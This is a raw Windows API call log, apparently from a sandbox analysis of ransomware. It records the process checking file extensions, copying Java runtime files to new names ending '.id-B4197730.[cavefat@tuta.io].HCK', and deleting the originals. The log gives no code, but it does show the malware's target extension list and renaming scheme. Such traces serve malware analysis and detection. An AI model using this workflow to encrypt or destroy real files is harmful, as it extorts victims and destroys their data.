[0228.720] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.720] lstrlenW (lpString=".ppt") returned 4 [0228.720] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.720] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.720] lstrlenW (lpString=".zip") returned 4 [0228.720] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.720] lstrlenW (lpString=".rar") returned 4 [0228.721] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString=".bz2") returned 4 [0228.721] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString=".7z") returned 3 [0228.721] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".dbf") returned 4 [0228.721] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".1cd") returned 4 [0228.721] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".jpg") returned 4 [0228.721] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".doc") returned 4 [0228.721] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString=".docx") returned 5 [0228.721] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0228.721] lstrlenW (lpString=".pdf") returned 4 [0228.721] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString=".xls") returned 4 [0228.721] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString=".xlsx") returned 5 [0228.721] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0228.721] lstrlenW (lpString=".ppt") returned 4 [0228.721] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".zip") returned 4 [0228.721] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString=".rar") returned 4 [0228.721] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.721] lstrlenW (lpString=".bz2") returned 4 [0228.721] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString=".7z") returned 3 [0228.721] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".dbf") returned 4 [0228.721] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.721] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.721] lstrlenW (lpString=".1cd") returned 4 [0228.722] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0228.722] lstrlenW (lpString=".jpg") returned 4 [0228.722] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.722] lstrcmpiW (lpString1=".0_144\\lib\\meta-index", lpString2=".HCK") returned -1 [0228.722] lstrlenW (lpString="meta-index") returned 10 [0228.722] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.723] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2126) returned 1 [0228.723] CloseHandle (hObject=0x3e4) returned 1 [0228.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0228.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.723] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.723] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.723] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.724] GetLastError () returned 0x0 [0228.724] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x84e, lpOverlapped=0x0) returned 1 [0228.726] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x850, lpOverlapped=0x0) returned 1 [0228.726] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.726] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe8, lpOverlapped=0x0) returned 1 [0228.727] SetEndOfFile (hFile=0x458) returned 1 [0228.727] CloseHandle (hObject=0x458) returned 1 [0228.727] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.727] SetEndOfFile (hFile=0x3e4) returned 1 [0228.729] CloseHandle (hObject=0x3e4) returned 1 [0228.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.729] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0228.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.730] lstrlenW (lpString=".doc") returned 4 [0228.730] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".docx") returned 5 [0228.730] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0228.730] lstrlenW (lpString=".pdf") returned 4 [0228.730] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".xls") returned 4 [0228.730] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".xlsx") returned 5 [0228.730] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0228.730] lstrlenW (lpString=".ppt") returned 4 [0228.730] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.730] lstrlenW (lpString=".zip") returned 4 [0228.730] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".rar") returned 4 [0228.730] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".bz2") returned 4 [0228.730] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString=".7z") returned 3 [0228.730] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0228.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.730] lstrlenW (lpString=".dbf") returned 4 [0228.730] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0228.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.730] lstrlenW (lpString=".1cd") returned 4 [0228.731] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".jpg") returned 4 [0228.731] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".doc") returned 4 [0228.731] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".docx") returned 5 [0228.731] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0228.731] lstrlenW (lpString=".pdf") returned 4 [0228.731] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".xls") returned 4 [0228.731] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".xlsx") returned 5 [0228.731] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0228.731] lstrlenW (lpString=".ppt") returned 4 [0228.731] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".zip") returned 4 [0228.731] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".rar") returned 4 [0228.731] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".bz2") returned 4 [0228.731] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString=".7z") returned 3 [0228.731] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".dbf") returned 4 [0228.731] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".1cd") returned 4 [0228.731] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0228.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0228.731] lstrlenW (lpString=".jpg") returned 4 [0228.731] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0228.731] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0228.731] lstrlenW (lpString="net.properties") returned 14 [0228.732] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.732] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4464) returned 1 [0228.732] CloseHandle (hObject=0x3e4) returned 1 [0228.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0228.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.733] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.733] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.733] GetLastError () returned 0x0 [0228.733] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1170, lpOverlapped=0x0) returned 1 [0228.735] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1180, lpOverlapped=0x0) returned 1 [0228.736] ReadFile (in: hFile=0x3e4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0228.736] WriteFile (in: hFile=0x458, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf0, lpOverlapped=0x0) returned 1 [0228.736] SetEndOfFile (hFile=0x458) returned 1 [0228.736] CloseHandle (hObject=0x458) returned 1 [0228.736] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0228.736] SetEndOfFile (hFile=0x3e4) returned 1 [0228.738] CloseHandle (hObject=0x3e4) returned 1 [0228.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.739] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.739] lstrlenW (lpString=".doc") returned 4 [0228.739] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString=".docx") returned 5 [0228.739] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.739] lstrlenW (lpString=".pdf") returned 4 [0228.739] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString=".xls") returned 4 [0228.739] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString=".xlsx") returned 5 [0228.739] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.739] lstrlenW (lpString=".ppt") returned 4 [0228.739] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.739] lstrlenW (lpString=".zip") returned 4 [0228.739] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString=".rar") returned 4 [0228.739] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.739] lstrlenW (lpString=".bz2") returned 4 [0228.740] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".7z") returned 3 [0228.740] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".dbf") returned 4 [0228.740] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".1cd") returned 4 [0228.740] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".jpg") returned 4 [0228.740] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".doc") returned 4 [0228.740] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".docx") returned 5 [0228.740] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.740] lstrlenW (lpString=".pdf") returned 4 [0228.740] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".xls") returned 4 [0228.740] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".xlsx") returned 5 [0228.740] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.740] lstrlenW (lpString=".ppt") returned 4 [0228.740] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".zip") returned 4 [0228.740] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".rar") returned 4 [0228.740] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".bz2") returned 4 [0228.740] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString=".7z") returned 3 [0228.740] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".dbf") returned 4 [0228.740] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".1cd") returned 4 [0228.740] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0228.740] lstrlenW (lpString=".jpg") returned 4 [0228.740] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.741] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0228.741] lstrlenW (lpString="plugin.jar") returned 10 [0228.741] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0228.741] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1923211) returned 1 [0228.741] CloseHandle (hObject=0x3e4) returned 1 [0228.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0228.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString=".doc") returned 4 [0228.742] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.742] lstrlenW (lpString=".docx") returned 5 [0228.742] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0228.742] lstrlenW (lpString=".pdf") returned 4 [0228.742] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.742] lstrlenW (lpString=".xls") returned 4 [0228.742] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.742] lstrlenW (lpString=".xlsx") returned 5 [0228.742] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0228.742] lstrlenW (lpString=".ppt") returned 4 [0228.742] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString=".zip") returned 4 [0228.742] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.742] lstrlenW (lpString=".rar") returned 4 [0228.742] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.742] lstrlenW (lpString=".bz2") returned 4 [0228.742] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.742] lstrlenW (lpString=".7z") returned 3 [0228.742] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString=".dbf") returned 4 [0228.742] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString=".1cd") returned 4 [0228.742] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0228.742] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.742] lstrlenW (lpString=".jpg") returned 4 [0228.743] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.743] lstrlenW (lpString=".doc") returned 4 [0228.743] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0228.743] lstrlenW (lpString=".docx") returned 5 [0228.743] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0228.743] lstrlenW (lpString=".pdf") returned 4 [0228.743] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString=".xls") returned 4 [0228.743] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString=".xlsx") returned 5 [0228.743] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0228.743] lstrlenW (lpString=".ppt") returned 4 [0228.743] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0228.743] lstrlenW (lpString=".zip") returned 4 [0228.743] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString=".rar") returned 4 [0228.743] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0228.743] lstrlenW (lpString=".bz2") returned 4 [0228.743] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0228.743] lstrlenW (lpString=".7z") returned 3 [0228.743] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0229.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0229.087] lstrlenW (lpString=".dbf") returned 4 [0229.087] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0229.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0229.087] lstrlenW (lpString=".1cd") returned 4 [0229.087] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0229.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0229.087] lstrlenW (lpString=".jpg") returned 4 [0229.087] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0229.087] lstrcmpiW (lpString1=".security", lpString2=".HCK") returned 1 [0229.087] lstrlenW (lpString="java.security") returned 13 [0229.087] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.088] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=36524) returned 1 [0229.088] CloseHandle (hObject=0x534) returned 1 [0229.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0229.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program 